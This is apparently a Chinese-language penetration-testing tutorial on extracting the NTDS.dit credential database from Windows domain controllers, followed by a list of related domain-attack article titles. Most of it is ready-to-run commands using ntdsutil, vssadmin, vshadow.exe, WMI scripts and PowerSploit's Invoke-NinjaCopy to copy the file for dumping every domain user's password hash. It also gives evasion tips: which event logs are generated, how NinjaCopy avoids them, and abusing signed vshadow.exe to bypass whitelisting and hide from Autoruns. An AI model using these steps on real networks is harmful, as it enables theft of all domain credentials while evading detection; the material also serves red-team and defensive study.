8、域滲透——獲得域控伺服器的NTDS.dit檔案
0x00 前言
在之前的文章《匯出當前域內所有使用者hash的技術整理》曾介紹過通過Volume Shadow Copy實現對ntds.dit檔案的複製,可用來匯出域內所有使用者hash。本文將嘗試做系統總結,總結多種不同的方法。
0x01 簡介
本文將要介紹以下內容:
- 多種實現方法
- 比較優缺點
0x02 通過Volume Shadow Copy獲得域控伺服器NTDS.dit檔案
測試系統:
- Server 2008 R2 x64
- Server 2012 R2 x64
Volume Shadow Copy Service:
- 用於資料備份
- 支援Windows Server 2003 及以上作業系統
- 系統預設在特定條件下自動建立資料備份,如補丁安裝後。在Win7系統大概每隔一週自動建立備份,該時間無法確定
- 禁用VSS會影響系統正常使用,如 System Restore和 Windows Server Backup
1、ntdsutil
域環境預設安裝
支援系統:
- Server 2003
- Server 2008
- Server 2012
- · …
常用命令:
(1) 查詢當前快照列表
ntdsutil snapshot "List All" quit quit
(2) 查詢已掛載的快照列表
ntdsutil snapshot "List Mounted" quit quit
(3) 建立快照
ntdsutil snapshot "activate instance ntds" create quit quit
(4) 掛載快照
ntdsutil snapshot "mount GUID" quit quit
(5) 解除安裝快照:
ntdsutil snapshot "unmount GUID" quit quit
(6) 刪除快照
ntdsutil snapshot "delete GUID" quit quit
實際測試:
(1) 查詢當前系統的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
(2) 建立快照
ntdsutil snapshot "activate instance ntds" create quit quit
guid為{6e31c0ab-c517-420b-845d-c38acbf77ab9}
如下圖
(3) 掛載快照
ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit
快照掛載為C:\$SNAP_201802270645_VOLUMEC$\,如下圖
(4) 複製ntds.dit
copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
(5) 解除安裝快照:
ntdsutil snapshot "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit
(6) 刪除快照
ntdsutil snapshot "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit
2、vssadmin
域環境預設安裝
支援系統:
- Server 2008
- Server 2012
- …
常用命令:
(1) 查詢當前系統的快照
vssadmin list shadows
(2) 建立快照
vssadmin create shadow /for=c:
(3) 刪除快照
vssadmin delete shadows /for=c: /quiet
實際測試:
(1) 查詢當前系統的快照
vssadmin list shadows
(2) 建立快照
vssadmin create shadow /for=c:
獲得Shadow Copy Volume Name為\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12
如下圖
(3) 複製ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit
(4) 刪除快照
vssadmin delete shadows /for=c: /quiet
3、vshadow.exe
系統預設不支援,可在Microsoft Windows Software Development Kit (SDK)中獲得該工具
注:
64位系統需要使用64位的vshadow.exe
不同系統可供使用的vshadow.exe下載地址:
http://edgylogic.com/blog/vshadow-exe-versions/
常用命令:
(1) 查詢當前系統的快照
vshadow.exe -q
(2) 建立快照
vshadow.exe -p -nw C:
引數說明:
-p persistent,備份操作或是重啟系統不會刪除
-nw no writers,用來提高建立速度
C: 對應c盤
(3) 刪除快照
vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId
實際測試:
(1) 查詢當前系統的快照
vshadow.exe -q
(2) 建立快照
vshadow.exe -p -nw C:
獲得SnapshotSetID為{809b77cc-cf9a-4101-b802-08e97d10e613}
獲得SnapshotID為{ef99d039-9a38-4e8b-9f57-e3113d464f76}
獲得Shadow copy device name為\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
如下圖
(3) 複製ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit
(4) 刪除快照
vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}
or
vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}
4、vssown.vbs
可供參考的下載地址:
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
本質上是通過wmi對ShadowCopy進行操作
通過wmi查詢快照資訊:
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list
powershell實現:
https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1
擴充套件
1、日誌檔案
呼叫Volume Shadow Copy服務會產生日誌檔案,位於System下,Event ID為7036
執行ntdsutil snapshot "activate instance ntds" create quit quit會額外產生Event ID為98的日誌檔案
如下圖
2、訪問快照中的檔案
檢視快照列表:
vssadmin list shadows
無法直接訪問\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12中的檔案
可通過建立符號連結訪問快照中的檔案:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\
如下圖
刪除符號連結:
rd c:\testvsc
利用思路:
如果當前系統存在快照檔案,可對系統的歷史檔案進行訪問
3、利用vshadow執行命令
參考資料:
執行命令:
vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
執行後,後臺存在程式VSSVC.exe,同時顯示服務Volume Shadow Copy正在執行,需要手動關閉程式VSSVC.exe
注:
手動關閉程式VSSVC.exe會生成日誌7034
利用思路:
vshadow.exe包含微軟簽名,能繞過某些白名單的限制。如果作為啟動項,Autoruns的預設啟動列表不顯示
0x03 通過NinjaCopy獲得域控伺服器NTDS.dit檔案
下載地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
沒有呼叫Volume Shadow Copy服務,所以不會產生日誌檔案7036
0x04 小結
本文整理了多種獲得域控伺服器NTDS.dit檔案的方法,測試使用環境,比較優缺點。
相關文章
- 【CTF】msf和impacket聯合拿域控內網滲透-拿域控內網
- 內網滲透-初探域滲透內網
- 域滲透——Skeleton Key
- 域滲透——Hook PasswordChangeNotifyHook
- 域滲透——Pass The Ticket
- 3、域滲透詳解
- 域內滲透基本技巧
- 域滲透——Security Support ProviderIDE
- 域滲透之利用WMI來橫向滲透
- 域滲透的金之鑰匙
- 域滲透——Local Administrator Password Solution
- 域滲透——Pass The Hash & Pass The Key
- 域滲透之ldap協議LDA協議
- 技術分享 | 域滲透AdminSDHolder
- 7、域滲透——Pass The Hash的實現
- 安全技術 | 域滲透之SPN
- 2、超詳細的域滲透過程
- 10、一篇經典的域滲透文章
- 6、域滲透中查詢域使用者對域成員機器關係
- 9、Metasploit域滲透測試全程實錄
- 域滲透之初識Kerberos認證過程ROS
- 11、域滲透測試中使用到的命令+工具
- 1、域滲透基礎簡單資訊收集
- <web滲透-檔案上傳漏洞>Web
- 記一次由sql注入到拿下域控的滲透測試實戰演練(下)SQL
- 14、域滲透神器Empire安裝和簡單使用
- 域滲透之初識LM&NTLM認證過程
- 12、強大的內網域滲透提權分析工具——BloodHound內網
- 域滲透——Dump Clear-Text Password after KB2871997 installed
- 滲透技巧——透過cmd上傳檔案的N種方法
- 15、基於psexec的域滲透測試工具—Smbexec v2.0
- 域滲透 | kerberos認證及過程中產生的攻擊ROS
- 記一次大型且細小的域滲透實戰
- 伺服器滲透?伺服器
- HTML input file 檔案域HTML
- HTML input file檔案域HTML
- 5、域滲透——利用SYSVOL還原組策略中儲存的密碼密碼
- 滲透測試領域常用的專業術語,你知道多少個?